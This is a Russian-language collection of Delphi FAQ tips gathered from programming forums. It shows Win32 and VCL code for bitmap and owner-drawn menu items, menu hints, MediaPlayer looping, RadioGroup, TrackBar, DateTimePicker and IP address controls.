Как сделать пункты меню с картинками?

Следующий код показывает, как добавить картинку в виде объекта TImage в объект TMenuItem.

var
   hHandle: THandle;
   x: integer;
   // visual controls:
   hMenu: TMenuItem;
   Image1: TImage;

...

  x:= 10; // десятый пункт меню
  hHandle := GetMenuItemID(hMenu.handle, x);
  ModifyMenu(hMenu.handle, hHandle, MF_BYCOMMAND Or MF_BITMAP, hHandle,
             PChar(Image1.picture.bitmap.handle))

Взято из http://forum.sources.ru


Как поместить маленькие битмапы в TPopUpMenu?

Следующий пример демонстрирует добавление битмапа в пункт PopUpMenu при помощи API функции SetMenuItemBitmaps(). Эта функция имеет следующие параметры: дескриптор всплывающего меню, номер (начиная с нуля) пункта меню в который мы хотим добаить битмап, и два дескриптора битмапов (одна картинка для меню в активном состоянии, а вторая для неактивного состояния).

type
  TForm1 = class(TForm)
    PopupMenu1: TPopupMenu;
    Pop11: TMenuItem;
    Pop21: TMenuItem;
    Pop31: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
  private
    { Private declarations }
    bmUnChecked : TBitmap;
    bmChecked : TBitmap;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  bmUnChecked := TBitmap.Create;
  bmUnChecked.LoadFromFile(
    'C:\Program Files\Borland\BitBtns\ALARMRNG.BMP');
  bmChecked := TBitmap.Create;
  bmChecked.LoadFromFile(
    'C:\Program Files\Borland\BitBtns\CHECK.BMP');
{Добавляем битмапы в пункт меню начиная с 1 в PopUpMenu}
  SetMenuItemBitmaps(PopUpMenu1.Handle,
                     1,
                     MF_BYPOSITION,
                     BmUnChecked.Handle,
                     BmChecked.Handle);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  bmUnChecked.Free;
  bmChecked.Free;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
var
  pt : TPoint;
begin
  pt := ClientToScreen(Point(x, y));
  PopUpMenu1.Popup(pt.x, pt.y);
end;

Взято из http://forum.sources.ru


Более быстрый способ добавлять пункты меню

Обычно, когда Вы создаёте меню в приложении, то код выглядит примерно так:

    PopupMenu1 := TPopupMenu.Create(Self);
    Item := TMenuItem.Create(PopupMenu1);
    Item.Caption := 'First Menu';
    Item.OnClick := MenuItem1Click;
    PopupMenu1.Items.Add(Item);
    Item := TMenuItem.Create(PopupMenu1);
    Item.Caption := 'Second Menu';
    Item.OnClick := MenuItem2Click;
    PopupMenu1.Items.Add(Item);
    Item := TMenuItem.Create(PopupMenu1);
    Item.Caption := 'Third Menu';
    Item.OnClick := MenuItem3Click;
    PopupMenu1.Items.Add(Item);

    Item := TMenuItem.Create(PopupMenu1);
    Item.Caption := '-';
    PopupMenu1.Items.Add(Item);
    Item := TMenuItem.Create(PopupMenu1);
    Item.Caption := 'Fourth Menu';
    Item.OnClick := MenuItem4Click;
    PopupMenu1.Items.Add(Item);

Однако есть более быстрый способ! Воспользуйтесь функциями NewItem и NewLine:

    PopupMenu1 := TPopupMenu.Create(Self);
    with PopUpMenu1.Items do
      begin
        Add(NewItem('First Menu',0,False,True,MenuItem1Click,0,'MenuItem1'));
        Add(NewItem('Second Menu',0,False,True,MenuItem2Click,0,'MenuItem2'));
        Add(NewItem('Third Menu',0,False,True,MenuItem3Click,0,'MenuItem3'));
        Add(NewLine);                        // Добавляем разделитель
        Add(NewItem('Fourth Menu',0,False,True,MenuItem4Click,0,'MenuItem4'));

      end;

Взято из http://forum.sources.ru


Как программно заставить выпасть меню?

Автор: InSAn

В примере показано как показать меню и выбрать в нем какой-то пункт, эмулируя нажатие "быстрой кдавиши" пункта меню. Если у Вашего пункта меню нет "быстрой клавиши" Вы можете посылать комбинации VK_MENU, VK_LEFT, VK_DOWN, и VK_RETURN, чтобы программно "путешествовать" по меню.

procedure TForm1.Button1Click(Sender: TObject);
begin
//Allow button to finish painting in response to the click
Application.ProcessMessages;
{Alt Key Down}
keybd_Event(VK_MENU, 0, 0, 0);
{F Key Down - Drops the menu down}
keybd_Event(ord('F'), 0, 0, 0);
{F Key Up}
keybd_Event(ord('F'), 0, KEYEVENTF_KEYUP, 0);
{Alt Key Up}
keybd_Event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);
{F Key Down}
keybd_Event(ord('S'), 0, 0, 0);
{F Key Up}
keybd_Event(ord('S'), 0, KEYEVENTF_KEYUP, 0);
end;

Взято из http://forum.sources.ru


Как узнать о нажатии non-menu клавиши в момент когда меню показано?

Автор: Arx ( http://arxoft.tora.ru )

Создайте обработчик сообщения WM_MENUCHAR.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Menus;

type
    TForm1 = class(TForm)
        MainMenu1: TMainMenu;
        One1: TMenuItem;
        Two1: TMenuItem;
        THree1: TMenuItem;
    private
        {Private declarations}
        procedure WmMenuChar(var m : TMessage); message WM_MENUCHAR;
    public
        {Public declarations}
end;

var
    Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WmMenuChar(var m : TMessage);
begin
    Form1.Caption := 'Non standard menu key pressed';
    m.Result := 1;
end;
end.

Взято из http://forum.sources.ru


Как сделать меню как в Дельфи?

1. Разместите на форме TControlBar. (закладка Additional) Установите Align = Client.
2. Разместите TToolBar (закладка Win32) внутри TControlBar.
3. Установите в True свойства Flat и ShowCaptions этого TToolBar.
4. Создайте на TToolBar столько TToolButtons сколько Вам нужно. (щелкнув по TToolBar
правой кнопкой и выбрав NewButton)
5. Установите свойство Grouped = True для всех TToolButtons. Это позволит меню выпадать
при перемещении курсора между главными пунктами меню (если меню уже показано).
6. Разместите на фоме TMainMenu и убедитесь, что оно *НЕ присоденено* как меню главной
формы. (посмотрите свойство Menu формы).
7. Создайте все пункты меню (щелкнув по TMainMenu кнопкой и выбрав Menu Designer)
8. Для каждой TToolButton установите ее MenuItem равным соответсвующему пункту TMainMenu.
Взято из
DELPHI VCL FAQ Перевод с английского
Подборку, перевод и адаптацию материала подготовил Aziz(JINX)
специально для Королевства Дельфи


Как поместить TMenuItem справа у формы?

Допустим, у Вас есть TMainMenu MainMenu1 и HelpMenuItem в конце панели меню (Menubar). Если Вызвать следующий обработчик события OnCreate, то HelpMenuItem сместится вправо.

uses
  Windows;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ModifyMenu(MainMenu1.Handle, 0, mf_ByPosition or mf_Popup
             or mf_Help, HelpMenuItem1.Handle, '&Help');
end;

Взято из http://forum.sources.ru


Как рисовать картинки в пунктах меню?

unit DN_Win;

interface

uses
 SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
 Forms, Dialogs, Menus, StdCtrls,

type
 TDNForm = class(TForm)
   MainMenu1: TMainMenu;
   cm_MainExit: TMenuItem;
   procedure FormCreate(Sender: TObject);
   procedure cm_MainExitClick(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
   BM:TBitmap;
   Procedure WMDrawItem(var Msg:TWMDrawItem);      message wm_DrawItem;
   Procedure WMMeasureItem(var Msg:TWMMeasureItem); message
wm_MeasureItem;

 end;

var
 DNForm : TDNForm;

implementation

{$R *.DFM}

var
 Comm,yMenu : word;

procedure TDNForm.FormCreate(Sender: TObject);
begin
 yMenu:=GetSystemMetrics(SM_CYMENU);
 comm:=cm_MainExit.Command;
 ModifyMenu(MainMenu1.Handle,0,mf_ByPosition or mf_OwnerDraw,comm,'Go');
end;{TDNForm.FormCreate}

procedure TDNForm.cm_MainExitClick(Sender: TObject);
begin
 DNForm.Close;
end;{TDNForm.cmExitClick}

Procedure TDNForm.WMMeasureItem(var Msg:TWMMeasureItem);

Begin
with Msg.MeasureItemStruct^ do
 if ItemID=comm then  begin ItemWidth:=yMenu; Itemheight:=yMenu; end;
End;{WMMeasureItem}

Procedure TDNForm.WMDrawItem(var Msg:TWMDrawItem);
var
 MemDC:hDC;
 BM:hBitMap;
 mtd:longint;
Begin
with Msg.DrawItemStruct^ do
 begin
 if ItemID=comm then
   begin
     BM:=LoadBitMap(hInstance,'dver');
     MemDC:=CreateCompatibleDC(hDC);{hDC  ? TDrawItemStruct}
     SelectObject(MemDC,BM); {rcItem  ?  TDrawItemStruct}

     if ItemState=ods_Selected then mtd:=NotSrcCopy  else mtd:=SrcCopy;

StretchBlt(hDC,rcItem.left,rcItem.top,yMenu,yMenu,MemDC,0,0,24,23,mtd);
     DeleteDC(MemDC);
     DeleteObject(BM);
   end;
 end{with}
End;{TDNForm.WMDrawItem}

end.

Eugeny Sverchkov
es906@kolnpp.elektra.ru
(2:5031/12.23)

Автор: StayAtHome

Взято с Vingrad.ruhttp://forum.vingrad.ru


Как узнать статус меню?

В чём вопрос: как узнать, нажат ли сейчас именно нужный пункт меню? Чтобы я в таймере мог его опрашивать на состояние.
До тех пор, пока какая-то часть главного меню "выпала" (то есть нажат итем "Файл", и видны New, Open, Save etc.) нужно чёто делать раз в полсекунды. То есть надо отловить момент, когда это самое меню закроется, чтобы перестать чё-то делать.

1)Событие OnClick - срабатывает на пункте если мы по нему кликнули или если данный пункт имеет подменю(а точнее подпункты) и оно активировалось... как следствие - повесив обработчик на OnClick мы можем узнать что меню активировалось и какое енто меню, а также узнать информацию о подменю(и при необходимости что нить изменить ).

2)Из ходя из 1 пункта мы знаем что меню... активно. Но нам надо знать что меню закрылось... для ентого ловим сообщение WM_CAPTURECHANGED или его не видно WM_UNINITMENUPOPUP.

Пример для первого и второго пункта:

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, ExtCtrls, Menus, StdCtrls, ComCtrls;

type
 TForm1 = class(TForm)
   MainMenu1: TMainMenu;
   N1231: TMenuItem; //Какой то пункт
   N23551: TMenuItem; //Какой то пункт
   N1231231: TMenuItem; //Какой то пункт
   N1231111: TMenuItem; //Какой то пункт
   Timer1: TTimer; //Какой то пункт
   N2341: TMenuItem; //Какой то пункт
   N2342: TMenuItem; //Какой то пункт
   N234541: TMenuItem; //Какой то пункт
   N23421: TMenuItem; //Какой то пункт
   ertert1: TMenuItem; //Какой то пункт
   N1: TMenuItem; //Какой то пункт
   N123121: TMenuItem; //Какой то пункт
   N1231232: TMenuItem; //Какой то пункт
   N2343: TMenuItem; //Какой то пункт
   procedure Timer1Timer(Sender: TObject);
   procedure WndProc(var Message: TMessage); override;
   procedure N1231Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;
 f:boolean=false; //флаг активности

implementation

{$R *.dfm}

procedure TForm1.WndProc(var Message: TMessage);
begin
if f then
 begin
  if (Message.Msg=WM_UNINITMENUPOPUP) then
   Caption:='Мдя... Че-то меня не видно! Но я активен!' else
   if (Message.Msg=WM_CAPTURECHANGED) then
    begin
     Caption:='Ёпс!... ты че вышел?';
     f:=false; //Сбрасываем флаг активности
    end else inherited;
 end else inherited;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
EndMenu; //закрываем меню
Timer1.Enabled:=false;
end;

procedure TForm1.N1231Click(Sender: TObject);
//Вешаем на все пункты меню :)
begin
Caption:=IntToStr(TMenuItem(Sender).MenuIndex);
if (TMenuItem(Sender).Count>0) then
 begin
  if f=false then
   begin
    Timer1.Interval:=10000; //Ставим таймер для автоматического закрытия
    Timer1.Enabled:=true;
    Timer1.OnTimer:=Timer1Timer;
   end;
  f:=true; //меню активированно!
 end;
end;

end.

Автор Girder
Взято с Vingrad.ru http://forum.vingrad.ru


Элементы меню на основе изображений

В своем меню я хочу иметь графику. Но как мне сделать это?

Воспользуйтесь командой ModifyMenu. Тем не менее, Delphi 1.0 имеет привычку СТИРАТЬ изменения в пунктах меню, к примеру, созданных на основе изображения или отрисованных вручную. Если вы пользуетесь этими "фишками", вы НЕ должны осуществлять enable/disable или check/uncheck элементов меню через свойства. Вместо этого вы должны вызывать соответствующие функции Windows API. Вот демонстрационный пример из моей книги Delphi Programming Problem Solver, демонстрирующий элементы меню на основе изображений. Подразумевается, что вы создали форму и главное меню. Меню содержит пустое подменю File (необязательно) и меню верхнего уровня с именем Brush1. Ниже Brush1 вы должны иметь шесть пунктов подменю; их имена могут быть абстрактными, но в приведенном ниже коде они поименованы шестью стилями кисти. Вот сам код:

unit bitmenuu;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics,
  Controls, Forms, Dialogs, ExtCtrls, Menus;

type
  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Brush1: TMenuItem;
    Horizontal1: TMenuItem;
    Vertical1: TMenuItem;
    FDiagonal1: TMenuItem;
    BDiagonal1: TMenuItem;
    Cross1: TMenuItem;
    DiagCross1: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure BrushStyleClick(Sender: TObject);
  private
    { Private declarations }
    Bitmaps: array[0..5] of TBitmap;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var
  N: Integer;
begin
  with Brush1 do
    for N := 0 to 5 do
    begin
      Bitmaps[N] := TBitmap.Create;
      with Bitmaps[N], Canvas do
      begin
        Width := 80;
        Height := 16;
        Brush.Color := clMenu;
        Rectangle(0, 0, 80, 16);
        Brush.Color := clMenuText;
        Brush.Style := TBrushStyle(N + 2);
        Rectangle(0, 0, 80, 16);
      end;
      ModifyMenu(Handle, N, MF_BYPOSITION or MF_BITMAP,
        GetMenuItemID(Handle, N), PChar(Bitmaps[N].Handle));
    end;
end;

procedure TForm1.BrushStyleClick(Sender: TObject);
var
  N: Integer;
begin
  with Brush1 do
    for N := 0 to Count - 1 do
{$IFDEF Win32}
      Items[N].Checked := Items[N] = Sender;
{$ELSE}
      if Items[N] = Sender then
        CheckMenuItem(Handle, N, MF_BYPOSITION or MF_CHECKED)
      else
        CheckMenuItem(Handle, N, MF_BYPOSITION or MF_UNCHECKED);
{$ENDIF}
  with Sender as TMenuItem do
    Brush.Style := TBrushStyle(Tag);
  Refresh;
end;

end.

OK, в обработчике события формы OnCreate мы создаем шесть изображений и используем ModifyMenu для их назначения каждому из шести пунктов подменю. В обработчике события OnClick мы, в зависимости от того используется Delphi 2.0 или нет, применяем ту или иную технологию установки атрибутов пункта меню. В Delphi 2.0 мы должны обойти все пункты меню и установить Checked в True только для тех пунктов, на которых щелкали мышью. В Delphi 1.0 мы должны воспользоваться API функцией CheckMenuItem. Попробуйте это!

Взято с http://delphiworld.narod.ru


Иконки в PopupMenu

type

  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    // * * * * Элемент для Menu Bar * * * * /
      Open1: TMenuItem;
    // * * * * Элемент для Menu file * * * * /
      procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    {private declarations}
  public
    {public declarations}
    Icn, Txt, MnuItm: TBitmap;
  end;

procedure TForm2.FormCreate(Sender: TObject);
var
  R: TRect;

  HIcn: HIcon;
  Ic: TIcon;
  Index: Word;
  FileName: PChar;
begin

  // * * Получаем иконку определенного приложения * * /
    Ic := TIcon.Create;
  Ic.Handle := ExtractAssociatedIcon(Hinstance, // * задаем путь и имя файла * /
    , Index);
  // * * Создаем для текста изображение * * /
    Txt := TBitmap.Create;
  with Txt do
  begin
    Width := Canvas.TextWidth(' Тест');
    Height := Canvas.TextHeight(' Тест');
    Canvas.TextOut(0, 0, ' Тест');
  end;

  // * * Копируем иконку в bitmap для изменения его размера.
    Вы не можете менять размер иконки * * /
    Icn := TBitmap.Create;
  with Icn do
  begin
    Width := 32;
    Height := 32;
    Brush.Color := clBtnFace;
    Canvas.Draw(0, 0, Ic);
  end;

  // * * Создаем окончательное изображение, куда мы помещаем иконку и текст * * /
    MnuItm := TBitmap.Create;
  with MnuItm do
  begin
    Width := Txt.Width + 18;
    Height := 18;
    with Canvas do
    begin
      Brush.Color := clBtnFace;
      Pen.Color := clBtnFace;
      Brush.Style := bsSolid;
      Rectangle(0, 0, Width, Height);
      CopyMode := cmSrcAnd;
      StretchDraw(Rect(0, 0, 16, 16), Icn);
      CopyMode := cmSrcAnd;
      Draw(16, 8 - (Txt.Height div 2), Txt);
    end;
  end;
end;

procedure TForm2.FormShow(Sender: TObject);
var

  ItemInfo: TMenuItemInfo;
  hBmp1: THandle;
begin

  HBmp1 := MnuItm.Handle;
  with ItemInfo do
  begin
    cbSize := SizeOf(ItemInfo);
    fMask := MIIM_TYPE;
    fType := MFT_BITMAP;
    dwTypeData := PChar(MakeLong(hBmp1, 0));
  end;

  // * * Заменяем MenuItem Open1 законченным изображением * *
    SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
      Open1.MenuIndex, true, ItemInfo);

end;

{
В меню существуют некоторые проблемы масштабированием и палитрой иконки.
  Я также ищу лучшее решение, но это все, что я вам могу сейчас дать.

Листинг был изменен для того, чтобы помещать иконки в "чЕкнутое"
  состояние меню(просто это делает Win95).Это позволяет вам иметь
  "чЕкнутое" и "нечЕкнутое" состояние.
}

unit Unit1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Menus, ShellAPI;

type

  TForm1 = class(TForm)
    MainMenu1: TMainMenu;
    File1: TMenuItem;
    Open1: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure FormShow(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    Icn, MnuItm: TBitmap;
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var
  R: TRect;

  HIcn: HIcon;
  Ic: TIcon;
  Index: Word;
begin

  {     /** Получаем иконку некоторого приложения **/}

  Index := 0; { 11-я иконка в файле }
  Ic := TIcon.Create;
  Ic.Handle := ExtractAssociatedIcon(Hinstance,
    'c:\win95\system\shell32.dll', Index);

  {     /** Копируем иконку в bitmap для изменения его размера.
  Вы не можете менять размер иконки **/}

  Icn := TBitmap.Create;

  with Icn do
  begin
    Width := 32;
    Height := 32;
    Canvas.Brush.Color := clbtnface;
    Canvas.Draw(0, 0, Ic);
  end;

  {     /** Создаем окончательное изображение, куда мы помещаем иконку и текст **/}

  MnuItm := TBitmap.Create;
  with MnuItm do
  begin
    Width := 18;
    Height := 18;
    with Canvas do
    begin
      Brush.Color := clbtnface;
      Pen.Color := clbtnface;
      CopyMode := cmSrcAnd;
      StretchDraw(Rect(0, 0, 16, 16), Icn);
    end;
  end;
end;

procedure TForm1.FormShow(Sender: TObject);
var
  ItemInfo: TMenuItemInfo;
  hBmp1: THandle;
begin
  HBmp1 := MnuItm.Handle;
  with ItemInfo do
  begin
    cbSize := SizeOf(ItemInfo);
    fMask := MIIM_CHECKMARKS;
    fType := MFT_BITMAP;
    hBmpunChecked := HBmp1; { Неотмеченное (Unchecked) состояние }
    hBmpChecked := HBmp1; { Отмеченное (Checked) состояние }
  end;

  {     /** Заменяем MenuItem Open1 законченным изображением **/}

  SetMenuItemInfo(GetSubMenu(MainMenu1.Handle, File1.MenuIndex),
    Open1.MenuIndex, true, ItemInfo);
end;

end.

Взято сhttp://delphiworld.narod.ru


Как показать подсказки Hints для элементов меню

В примере создается обработчик события Application.Hint - подсказки меню изображаются на status Panel:

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    MainMenu1: TMainMenu;
    MenuItemFile: TMenuItem;
    MenuItemOpen: TMenuItem;
    MenuItemClose: TMenuItem;
    OpenDialog1: TOpenDialog;
    procedure FormCreate(Sender: TObject);
    procedure MenuItemCloseClick(Sender: TObject);
    procedure MenuItemOpenClick(Sender: TObject);
  private
    {Private declarations}
    procedure HintHandler(Sender: TObject);
  public
    {Public declarations}
end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  Panel1.Align := alBottom;
  MenuItemFile.Hint := 'File Menu';
  MenuItemOpen.Hint := 'Opens A File';
  MenuItemClose.Hint := 'Closes the Application';
  Application.OnHint := HintHandler;
end;

procedure TForm1.HintHandler(Sender: TObject);
begin
  Panel1.Caption := Application.Hint;
end;

procedure TForm1.MenuItemCloseClick(Sender: TObject);
begin
  Application.Terminate;
end;

procedure TForm1.MenuItemOpenClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
    Form1.Caption := OpenDialog1.FileName;
end;

Взято с http://delphiworld.narod.ru


Как добавить пункт меню?

procedure AddItemsM(vAction: TAction; vMenu:TMainMenu);
var
 index: integer
 vItems :TMenuItem;
begin
 index := vMenu.Items.IndexOf(nmWindow);
 vItems := TMenuItem.Create(vMenu);
 vItems.Action := vAction;
 vMenu.Items.Items[index].Add(vItems);
end;

nmWindow - это Name пункта меню "Окна"
(этот код я писал для добавления открытых окон в пункт меню "Окна", главного меню своего приложения)

Автор Pegas
Взято с Vingrad.ru http://forum.vingrad.ru


MediaPlayer

Cодержание раздела:

AVI файл проигрывается снова и снова
Как показать оставшееся время до конца? New!

См. также статьи в других разделах:
Как можно получить звук с помощью MediaPlayer?


AVI файл проигрывается снова и снова

В примере AVI файл проигрывается снова и снова - используем событие MediaPlayer'а Notify

procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin with MediaPlayer1 do
    if NotifyValue = nvSuccessful then
      begin
        Notify := True;
        Play;
      end;
end;

Взято с сайта http://blackman.wp-club.net/myfaq/default.php


Как показать оставшееся время до конца?

Procedure TForm1.Timer1Timer(Sender: TObject);
Var
 TheLength,Posi,SummaMin,SummaSec: Integer;
begin
  //Progress Bar to check if the track is playing
  if Progress.Max<>0 then Begin
    Progress.Position := Mediaplayer1.Position;

     //Gets the length of the selected track
    TheLength := Mediaplayer1.TrackLength[ListBox1.ItemIndex];

      //gets the current position of the track
      Posi := Mediaplayer1.Position;

      //Caculates Minutes
      SummaMin := ((TheLength - Posi) div 1000) Div 60;

      //Calculates Seconds
      SummaSec := ((TheLength - Posi) Div 1000) Mod 60;

      //Adds zero if Seconds are less then ten
      If SummaSec < 10 Then
      Label2.Caption := '0' + IntToStr(SummaSec)
      Else
      Label2.Caption := IntToStr(SummaSec);

      //Minutes
      Label1.Caption := IntToStr(SummaMin);

End;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


RadioGroup, RadioButton

Cодержание раздела:

Можно ли отключить определенный элемент в RadioGroup?
Поведение TAB в компоненте RadioGroup
Как заставить GroupBox прорисовать на форме свой Caption неактивным цветом? New!


Можно ли отключить определенный элемент в RadioGroup?

В примере показано как получить доступ к отдельным элементам компонента TRadioGroup.

procedure TForm1.Button1Click(Sender: TObject);
begin
  TRadioButton(RadioGroup1.Controls[1]).Enabled := False;
end;


Поведение TAB в компоненте RadioGroup

При перемещении фокуса ввода клавишей Tab чтобы переместить его в RadioGroup нужно нажать клавишу Tab дважды если какой нибудь пункт RadioGroup уже выбран, но только один раз если не выбран. Можно ли сделать поведение RadioGroup логичным?

Установка свойства RadioGroup'ы TabStop в false должна решить эту проблему - поскольку клавиша tab будет продолжать работать - перемещаясь сразу на выделенный пункт RadioGroup.


Как заставить GroupBox прорисовать на форме свой Caption неактивным цветом?

Как заставить GroupBox1 прорисовать на форме свой Caption неактивным цветом? GroupBox1.Enabled:=FALSE не помогает. Хотя если то же самое проделать с Label1 или Edit1, то все получается.

GroupBox1.Font.color:=clInactiveCaption;

Автор: Гавриш Дмитрий

Взято с http://delphiworld.narod.ru


TrackBar

Cодержание раздела:

Как бы мне создать эдакий trackbar в котором вместо широкой белой полоски с ползунком была бы тонкая линия?


Как бы мне создать эдакий trackbar в котором вместо широкой белой полоски с ползунком была бы тонкая линия?

В примере создается компонент, унаследованный от TTrackbar который переопределяет метод CreateParams и убират флаг TBS_ENABLESELRANGE из Style. Константа TBS_ENABLESELRANGE обьявленна в модуле CommCtrl.

uses CommCtrl, ComCtrls;

type
  TMyTrackBar = class(TTrackBar)
    procedure CreateParams(var Params: TCreateParams); override;
  end;

procedure TMyTrackBar.CreateParams(var Params: TCreateParams);
begin
  inherited;
  Params.Style := Params.Style and not TBS_ENABLESELRANGE;
end;

var
  MyTrackbar: TMyTrackbar;

procedure TForm1.Button1Click(Sender: TObject);
begin
  MyTrackBar := TMyTrackbar.Create(Form1);
  MyTrackbar.Parent := Form1;
  MyTrackbar.Left := 100;
  MyTrackbar.Top := 100;
  MyTrackbar.Width := 150;
  MyTrackbar.Height := 45;
  MyTrackBar.Visible := true;
end;


Другие компоненты

Cодержание раздела:

Как использовать ChartFX?
Как удалить сегодняшнюю дату из TDateTimePicker? New!
Как использовать IP Address Control у себя? New!
Что такое фреймы? New!
Пример компонента HotSpot New!
Глюк при запуске приложений через ShellListView New!


Как использовать ChartFX?

with ChartFX do begin
    Visible := false;
    { Устанавливаем режим ввода значений }
    { 1 - количество серий (в нашем случае 1), 3 - количество значений }
    OpenData [COD_VALUES] := MakeLong (1,3);
    { Hомер текущей серии }
    ThisSerie := 0;
    { Value [i] - значение с индексом i }
    { Legend [i] - комментарий к этому значению }
    Value [0] := a;
    Legend [0] := 'Значение переменной A';
    Value [1] := b;
    Legend [1] := 'Значение переменной B';
    Value [2] := c;
    Legend [2] := 'Значение переменной C';
    { Закрываем режим }
    CloseData [COD_VALUES] := 0;
    { Ширина поля с комментариями на экране (в пикселах) }
    LegendWidth := 150;
    Visible := true;
  end;
end;Формы


Как удалить сегодняшнюю дату из TDateTimePicker?

uses
  CommCtrl;

procedure TForm1.DateTimePicker1DropDown(Sender: TObject);
var
  wnd: HWND;
  Style: Integer;
begin
  wnd := DateTime_GetMonthCal(DateTimePicker1.Handle);
  if wnd <> 0 then
  begin
    Style := GetWindowLong(wnd, GWL_STYLE);
    SetWindowLong(wnd, GWL_STYLE, Style or MCS_NOTODAY or MCS_NOTODAYCIRCLE);
  end;
end;

{
  The calendar will still highlite the current day but the circle and the
  today display at the bottom are gone.
}

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как использовать IP Address Control у себя?

{
  Microsoft® Internet Explorer Version 4.0 introduces the IP address control,
  a new control similar to an edit control that allows the user to enter a
  numeric address in Internet protocol (IP) format.
  This format consists of four three-digit fields.
  Each field is treated individually; the field numbers are zero-based and
  proceed from left to right as shown in this figure.

  Further informations
  http://msdn.microsoft.com/library/en-us/shellcc/platform/commctls/ipaddress/ipaddress.asp
}

unit Unit1;

interface

uses
  Windows, Messages, Classes, Forms, Controls, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    IPAddress: TBevel;
    SetIP: TButton;
    ClearIP: TButton;
    procedure FormCreate(Sender: TObject);
    procedure SetIPClick(Sender: TObject);
    procedure ClearIPClick(Sender: TObject);
  private
    FIPAddress: Longint;
    HIPAddress: HWND;
    PrevWndProc: TWndMethod;
    procedure NewWindowProc(var Message: TMessage);
  public
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

uses
  CommCtrl;

const
  IP_ADDRESS_ID: Longword = $0100;

procedure TForm1.FormCreate(Sender: TObject);
var
  lpInitCtrls: TInitCommonControlsEx;
begin
  lpInitCtrls.dwSize := SizeOf(TInitCommonControlsEx);
  lpInitCtrls.dwICC  := ICC_INTERNET_CLASSES;
  if InitCommonControlsEx(lpInitCtrls) then
  begin
    PrevWndProc := WindowProc;
    WindowProc  := NewWindowProc;

    HIPAddress := CreateWindowEx(WS_EX_LEFT, WC_IPADDRESS, nil,
      WS_CHILD + WS_VISIBLE + WS_BORDER + WS_TABSTOP,
      IPAddress.Left, IPAddress.Top, IPAddress.Width, IPAddress.Height,
      Handle, IP_ADDRESS_ID, HInstance, nil);
    SendMessage(HIPAddress, IPM_SETFOCUS, 0, 0);
  end;
end;

procedure TForm1.NewWindowProc(var Message: TMessage);
var
  nField: longint;
begin
  case Message.Msg of
    WM_NOTIFY:
      begin
        if PNMHDR(Ptr(Message.lParam)).idFrom = IP_ADDRESS_ID then
        begin
          case PNMIPAddress(ptr(Message.lParam)).hdr.code of
            IPN_FIELDCHANGED:
              begin
                if SendMessage(HIPAddress, IPM_ISBLANK, 0, 0) = 0 then
                  SendMessage(HIPAddress, IPM_GETADDRESS, 0, lParam(LPDWORD(@FIPAddress)));
              end;
          end;
        end;
      end;
    WM_COMMAND:
      begin
        if Message.WParamLo = IP_ADDRESS_ID then
          case Message.WParamHi of
            EN_SETFOCUS:
              begin
                nField := SendMessage(HIPAddress, IPM_GETADDRESS, 0,
                  lParam(LPDWORD(@FIPAddress)));
                if nField = 4 then nField := 0;
                SendMessage(HIPAddress, IPM_SETFOCUS, wParam(nField), 0);
              end;
            EN_KILLFOCUS:
              begin
                if SendMessage(HIPAddress, IPM_ISBLANK, 0, 0) = 0 then
                  SendMessage(HIPAddress, IPM_GETADDRESS, 0, lParam(LPDWORD(@FIPAddress)));
              end;
            EN_CHANGE:
              begin
              end;
          end;
      end;
  end;
  if Assigned(PrevWndProc) then PrevWndproc(Message);
end;

procedure TForm1.SetIPClick(Sender: TObject);
begin
  FIPAddress := MAKEIPADDRESS(127, 0, 0, 1);
  SendMessage(HIPAddress, IPM_SETADDRESS, 0, lParam(DWORD(FIPAddress)));
end;

procedure TForm1.ClearIPClick(Sender: TObject);
begin
  SendMessage(HIPAddress, IPM_CLEARADDRESS, 0, 0);
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Что такое фреймы?

Фрэйм - это чтото-типа TForm только его можна размещать в любом окне программы.
Надо создать его File -> New -> Frame. Появится окошко. Растянуть на форме этот TFrameБ выбрать из списка нужный и работать как с обычной формой. Все просто.

Автор Vinnety
Взято с Vingrad.ru http://forum.vingrad.ru


Пример компонента HotSpot

